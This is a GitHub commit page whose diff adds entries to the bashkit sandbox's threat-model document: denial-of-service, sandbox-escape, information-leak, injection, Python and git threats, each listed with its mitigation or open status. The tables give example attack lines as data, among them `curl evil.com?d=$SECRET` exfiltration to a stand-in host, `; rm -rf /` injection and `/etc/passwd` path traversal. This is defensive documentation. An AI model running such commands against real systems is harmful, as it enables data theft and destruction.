Skip to content

Commit 6556e8c

Browse files
chaliyclaude
andauthored
chore: integrate security audit into threat model and issues (#433)
## Summary - Completed full security audit identifying 27 findings across 5 severity levels - Created GitHub issues #405-#431 with severity labels for all findings - Added all 27 threat model IDs to `specs/006-threat-model.md` and `crates/bashkit/docs/threat-model.md` - Removed `SECURITY_AUDIT.md` — all content now lives in issues + threat model ## Details 12 findings were missing threat model entries (had issues but no TM-IDs). Added: TM-DOS-034 through TM-DOS-040, TM-ESC-014, TM-INJ-011, TM-INF-016, TM-PY-026, TM-PY-027. Updated vulnerability summary and open controls matrix in both spec and public docs. ## Test plan - [ ] `just check` passes (no code changes, only markdown) - [ ] Verify all 27 issues exist: `gh issue list -l security -L 30` - [ ] Spot-check threat model IDs match issue descriptions --------- Co-authored-by: Claude <noreply@anthropic.com>
1 parent ac184be commit 6556e8c

File tree

2 files changed

+242
-8
lines changed

2 files changed

+242
-8
lines changed

crates/bashkit/docs/threat-model.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,13 @@ through configurable limits.
3636
| Parser attack (TM-DOS-024) | Malformed input | `parser_timeout` | [`limits.rs`][limits] |
3737
| Filesystem bomb (TM-DOS-007) | Zip bomb extraction | `FsLimits` | [`fs/limits.rs`][fslimits] |
3838
| Many files (TM-DOS-006) | Create 1M files | `max_file_count` | [`fs/limits.rs`][fslimits] |
39+
| TOCTOU append (TM-DOS-034) | Concurrent appends bypass limits | Single write lock | **OPEN** |
40+
| OverlayFs limit gaps (TM-DOS-035-038) | CoW/whiteout/accounting bugs | Combined limit accounting | **OPEN** |
41+
| Missing validate_path (TM-DOS-039) | VFS methods skip path checks | Add to all methods | **OPEN** |
3942
| Diff algorithm DoS (TM-DOS-028) | `diff` on large unrelated files | LCS matrix cap (10M cells) | [`builtins/diff.rs`][diff] |
43+
| Arithmetic overflow (TM-DOS-029) | `$(( 2 ** -1 ))` | Use wrapping arithmetic | **OPEN** |
44+
| Parser limit bypass (TM-DOS-030) | eval/source ignore limits | Use `Parser::with_limits()` | **OPEN** |
45+
| ExtGlob blowup (TM-DOS-031) | `+(a\|aa)` exponential | Add depth limit | **OPEN** |
4046

4147
**Configuration:**
4248
```rust,ignore
@@ -74,6 +80,8 @@ Scripts may attempt to break out of the sandbox to access the host system.
7480
| Shell escape (TM-ESC-005) | `exec /bin/bash` | Not implemented | Returns exit 127 |
7581
| External commands (TM-ESC-006) | `./malicious` | No external exec | Returns exit 127 |
7682
| eval injection (TM-ESC-008) | `eval "$input"` | Sandboxed eval | Only runs builtins |
83+
| VFS limit bypass (TM-ESC-012) | `add_file()` skips limits | Restrict API visibility | **OPEN** |
84+
| Custom builtins lost (TM-ESC-014) | `std::mem::take` empties builtins | Clone/Arc builtins | **OPEN** |
7785

7886
**Virtual Filesystem:**
7987

@@ -102,6 +110,9 @@ Scripts may attempt to leak sensitive information.
102110
| Env var leak (TM-INF-001) | `echo $SECRET` | Caller responsibility | See below |
103111
| Host info (TM-INF-005) | `hostname` | Returns virtual value | [`builtins/system.rs`][system] |
104112
| Network exfil (TM-INF-010) | `curl evil.com?d=$SECRET` | Network allowlist | [`network/allowlist.rs`][allowlist] |
113+
| Host env via jq (TM-INF-013) | jq `env` exposes host env | Custom env impl | **OPEN** |
114+
| Real PID leak (TM-INF-014) | `$$` returns real PID | Return virtual value | **OPEN** |
115+
| Error msg info leak (TM-INF-016) | Errors expose host paths/IPs | Sanitize error messages | **OPEN** |
105116

106117
**Caller Responsibility (TM-INF-001):**
107118

@@ -196,6 +207,9 @@ exfiltration by encoding secrets in subdomains (`curl https://$SECRET.example.co
196207
| Command injection (TM-INJ-001) | `$input` containing `; rm -rf /` | Variables expand to strings only |
197208
| Path injection (TM-INJ-005) | `../../../../etc/passwd` | Path normalization |
198209
| Terminal escapes (TM-INJ-008) | ANSI sequences in output | Caller should sanitize |
210+
| Internal var injection (TM-INJ-009) | Set `_READONLY_X=""` | Isolate internal namespace | **OPEN** |
211+
| Tar path traversal (TM-INJ-010) | `tar -xf` with `../` entries | Validate extract paths | **OPEN** |
212+
| Cyclic nameref (TM-INJ-011) | Cyclic refs resolve silently | Detect cycle, error | **OPEN** |
199213

200214
**Variable Expansion:**
201215

@@ -331,6 +345,11 @@ Python `pathlib.Path` operations are bridged to Bashkit's virtual filesystem.
331345
| Path traversal (TM-PY-017) | `../../etc/passwd` | VFS path normalization |
332346
| Network access (TM-PY-020) | Socket/HTTP | Monty has no socket/network module |
333347
| VM crash (TM-PY-022) | Malformed input | Parser depth limit + resource limits |
348+
| Shell injection (TM-PY-023) | deepagents.py f-strings | Use shlex.quote() | **OPEN** |
349+
| Heredoc escape (TM-PY-024) | Content contains delimiter | Random delimiter | **OPEN** |
350+
| GIL deadlock (TM-PY-025) | execute_sync holds GIL | py.allow_threads() | **OPEN** |
351+
| Config lost on reset (TM-PY-026) | reset() drops limits | Preserve config | **OPEN** |
352+
| JSON recursion (TM-PY-027) | Nested dicts overflow stack | Add depth limit | **OPEN** |
334353

335354
**Architecture:**
336355

@@ -356,6 +375,7 @@ to the virtual filesystem.
356375
| Many git objects (TM-GIT-007) | Millions of objects | `max_file_count` FS limit | MITIGATED |
357376
| Deep history (TM-GIT-008) | Very long commit log | Log limit parameter | MITIGATED |
358377
| Large pack files (TM-GIT-009) | Huge .git/objects/pack | `max_file_size` FS limit | MITIGATED |
378+
| Branch name injection (TM-GIT-014) | `git branch ../../config` | Validate branch names | **OPEN** |
359379
| Unauthorized clone (TM-GIT-001) | `git clone evil.com` | Remote URL allowlist | PLANNED (Phase 2) |
360380
| Push to unauthorized (TM-GIT-010) | `git push evil.com` | Remote URL allowlist | PLANNED (Phase 2) |
361381

0 commit comments

Comments
 (0)